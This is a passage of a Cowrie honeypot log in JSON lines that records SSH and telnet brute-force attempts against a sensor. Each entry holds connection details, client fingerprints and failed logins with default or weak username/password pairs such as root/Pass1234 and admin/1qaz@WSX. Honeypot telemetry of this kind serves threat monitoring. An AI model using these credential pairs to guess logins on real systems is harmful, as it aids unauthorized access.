0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:21.380425Z","src_ip":"192.109.200.78","session":"5e7a3d4cc752","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airflow","password":"airflow","message":"login attempt [airflow/airflow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:21.937896Z","src_ip":"192.109.200.78","session":"5e7a3d4cc752","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.13503170013428,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:22.431394Z","src_ip":"206.189.71.75","session":"26b4ea699ab3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:23.029157Z","src_ip":"192.109.200.78","session":"5e7a3d4cc752","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53854,"dst_ip":"10.17.0.5","dst_port":22,"session":"32138dbf4b10","protocol":"ssh","message":"New connection: 192.109.200.78:53854 (10.17.0.5:22) [session: 32138dbf4b10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:24.981643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:24.987010Z","src_ip":"192.109.200.78","session":"32138dbf4b10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:25.070584Z","src_ip":"192.109.200.78","session":"32138dbf4b10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":52058,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b89c3a62017","protocol":"telnet","message":"New connection: 206.189.71.75:52058 (159.203.135.109:23) [session: 8b89c3a62017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:25.092536Z"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible","message":"login attempt [ansible/ansible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:25.319934Z","src_ip":"192.109.200.78","session":"32138dbf4b10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:26.410833Z","src_ip":"192.109.200.78","session":"32138dbf4b10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34052,"dst_ip":"159.203.135.109","dst_port":22,"session":"473cb08cef33","protocol":"ssh","message":"New connection: 159.203.92.129:34052 (159.203.135.109:22) [session: 473cb08cef33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:27.235414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:27.240394Z","src_ip":"159.203.92.129","session":"473cb08cef33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:27.245995Z","src_ip":"159.203.92.129","session":"473cb08cef33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Changeme_123","message":"login attempt [admin/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:27.263353Z","src_ip":"159.203.92.129","session":"473cb08cef33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:28.272718Z","src_ip":"159.203.92.129","session":"473cb08cef33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58336,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d3ca9d90fe1","protocol":"ssh","message":"New connection: 192.109.200.78:58336 (10.17.0.5:22) [session: 3d3ca9d90fe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:29.178321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:29.183140Z","src_ip":"192.109.200.78","session":"3d3ca9d90fe1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:29.265157Z","src_ip":"192.109.200.78","session":"3d3ca9d90fe1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass1234","message":"login attempt [root/Pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:29.514699Z","src_ip":"192.109.200.78","session":"3d3ca9d90fe1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":56114,"dst_ip":"159.203.135.109","dst_port":23,"session":"9cff2a23039e","protocol":"telnet","message":"New connection: 206.189.71.75:56114 (159.203.135.109:23) [session: 9cff2a23039e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:29.922728Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:30.686717Z","src_ip":"192.109.200.78","session":"3d3ca9d90fe1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58356,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1f0c23a9adc","protocol":"ssh","message":"New connection: 192.109.200.78:58356 (10.17.0.5:22) [session: c1f0c23a9adc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:33.396859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:33.400551Z","src_ip":"192.109.200.78","session":"c1f0c23a9adc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:33.487517Z","src_ip":"192.109.200.78","session":"c1f0c23a9adc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@1234","message":"login attempt [root/abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:33.739050Z","src_ip":"192.109.200.78","session":"c1f0c23a9adc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":59774,"dst_ip":"159.203.135.109","dst_port":23,"session":"35b853b1f896","protocol":"telnet","message":"New connection: 206.189.71.75:59774 (159.203.135.109:23) [session: 35b853b1f896]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:33.885102Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:34.826968Z","src_ip":"192.109.200.78","session":"c1f0c23a9adc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":60750,"dst_ip":"159.203.135.109","dst_port":23,"session":"d42c0f210924","protocol":"telnet","message":"New connection: 206.189.71.75:60750 (159.203.135.109:23) [session: d42c0f210924]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:35.981584Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58374,"dst_ip":"10.17.0.5","dst_port":22,"session":"a210bf6cb2f6","protocol":"ssh","message":"New connection: 192.109.200.78:58374 (10.17.0.5:22) [session: a210bf6cb2f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:37.509372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:37.518276Z","src_ip":"192.109.200.78","session":"a210bf6cb2f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:37.611068Z","src_ip":"192.109.200.78","session":"a210bf6cb2f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qaz@WSX","message":"login attempt [admin/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:37.895609Z","src_ip":"192.109.200.78","session":"a210bf6cb2f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":35424,"dst_ip":"159.203.135.109","dst_port":23,"session":"3416018f4ead","protocol":"telnet","message":"New connection: 206.189.71.75:35424 (159.203.135.109:23) [session: 3416018f4ead]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:38.175658Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:38.982269Z","src_ip":"192.109.200.78","session":"a210bf6cb2f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":37032,"dst_ip":"159.203.135.109","dst_port":23,"session":"46b74f7f260b","protocol":"telnet","message":"New connection: 206.189.71.75:37032 (159.203.135.109:23) [session: 46b74f7f260b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:39.897639Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33940,"dst_ip":"10.17.0.5","dst_port":22,"session":"d99dd5b07e6d","protocol":"ssh","message":"New connection: 192.109.200.78:33940 (10.17.0.5:22) [session: d99dd5b07e6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:41.536066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:41.541057Z","src_ip":"192.109.200.78","session":"d99dd5b07e6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:41.624508Z","src_ip":"192.109.200.78","session":"d99dd5b07e6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es","message":"login attempt [es/es] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:41.883452Z","src_ip":"192.109.200.78","session":"d99dd5b07e6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:43.074357Z","src_ip":"192.109.200.78","session":"d99dd5b07e6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":39886,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c354ccffd2d","protocol":"telnet","message":"New connection: 206.189.71.75:39886 (159.203.135.109:23) [session: 7c354ccffd2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:43.328928Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":40012,"dst_ip":"159.203.135.109","dst_port":23,"session":"f77824a9f3e8","protocol":"telnet","message":"New connection: 206.189.71.75:40012 (159.203.135.109:23) [session: f77824a9f3e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:43.471650Z"}
{"eventid":"cowrie.session.closed","duration":35.85110020637512,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:43.600197Z","src_ip":"206.189.71.75","session":"44a11ac73c90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33952,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd69cb6a0f00","protocol":"ssh","message":"New connection: 192.109.200.78:33952 (10.17.0.5:22) [session: dd69cb6a0f00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:45.760556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:45.765448Z","src_ip":"192.109.200.78","session":"dd69cb6a0f00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:45.851684Z","src_ip":"192.109.200.78","session":"dd69cb6a0f00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123","message":"login attempt [root/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:10:46.389131Z","src_ip":"192.109.200.78","session":"dd69cb6a0f00","protocol":"ssh"}
